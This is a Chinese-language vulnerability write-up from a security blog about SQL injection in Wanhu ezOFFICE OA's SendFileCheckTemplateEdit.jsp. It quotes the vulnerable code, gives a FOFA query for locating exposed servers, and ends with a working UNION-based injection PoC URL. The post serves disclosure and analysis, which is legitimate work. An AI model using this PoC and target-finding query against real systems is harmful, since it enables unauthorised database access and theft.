万户OA SendFileCheckTemplateEdit-SQL注入

万户OA SendFileCheckTemplateEdit-SQL注入

漏洞简介

万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。万户OA DocumentEdit.jsp存在前台SQL注入漏洞,攻击者利用此漏洞获取数据库权限,深入利用可获取服务器权限。

漏洞分析

首先进入public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp

image-20240914162342940

 //从前端请求中依次获取RecordID、TempName、FileType参数内容并设置mEditType、mUserName、useName、useId变量  
  String mRecordID\=request.getParameter("RecordID");  
  String mTempName\=request.getParameter("TempName");  
  String mFileType\=request.getParameter("FileType");  
  String mEditType\="1";  
  String mUserName\="Administrator";  
  //whir add for templete range  
  String useName\="";  
  String useId\="";  
  //取得模式  
  if ( mEditType\==null)  
  {  
    mEditType\="2";  // 2 起草  
  }  
  //取得类型  
  if ( mFileType\==null)  
  {  
    mFileType\=".doc";   // 默认为.doc文档  
  }  
  //取得用户名  
  if (mUserName\==null)  
  {  
    mUserName\="金格科技";  
  }  
​  
  //取得模板  
  if ( mRecordID\==null)  
  {  
    mRecordID\="";   // 默认没有模板  
  }  
​  
  //创建一个iDBManager2000,用于相关数据库的操作  
  DBstep.iDBManager2000 DbaObj\=new DBstep.iDBManager2000();  
​  
  if (DbaObj.OpenConnection())  
  {//尝试数据库的连接,若连接成功构造sql语句  
    String mSql\="Select RecordID,FileName,FileType,Descript,useUserId,useName  From Template\_File Where RecordID='"+ mRecordID + "'";  
    try  
    {  
      result\=DbaObj.ExecuteQuery(mSql);//执行sql语句  
      if (result.next())  
      {//将执行sql语句的结果依次遍历,将从数据库中得到的结果赋值给不同的变量  
        mRecordID\=result.getString("RecordID");  
        mFileName\=result.getString("FileName");  
        mFileType\=result.getString("FileType");  
        mDescript\=result.getString("Descript");  
        useId\=result.getString("useUserId");  
        useName\=result.getString("useName");  
      }

分析:我们发现在构造sql语句时,是直接将前端获取到的mRecordID,拼接到其中,紧接着就是调用ExecuteQuery方法来执行sql语句

接下来进入到ExecuteQuery方法中

image-20240914163159461

分析:在该方法首先是创建了一个result变量用于接收sql语句执行的结果,之后就是调用executeQuery方法,该方法是JDBC API的java.sql.Statement接口的方法,用于执行SQL语句,最后进行异常处理,将执行结果返回

总结

在整个sql语句构造到执行的过程中没有对sql语句进行任何的过滤与限制,进而造成攻击者可以通过构造恶意的sql执行语句获取数据的敏感信息

资产测绘

fofa

app="万户网络-ezOFFICE"

image-20240909211217073

漏洞复现

poc

/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1%27%20UNION%20ALL%20SELECT%20sys.fn\_sqlvarbasetostr(HashBytes(%27MD5%27,%27admin%27)),NULL,NULL,NULL,NULL,NULL--

图片.png

  • 发表于 2024-09-20 18:05:09
  • 阅读 ( 12427 )
  • 分类:OA产品

1 条评论

Youcs
大佬,好奇问问,源码是哪来的?
请先 登录 后评论
请先 登录 后评论
xhys
xhys

12 篇文章

站长统计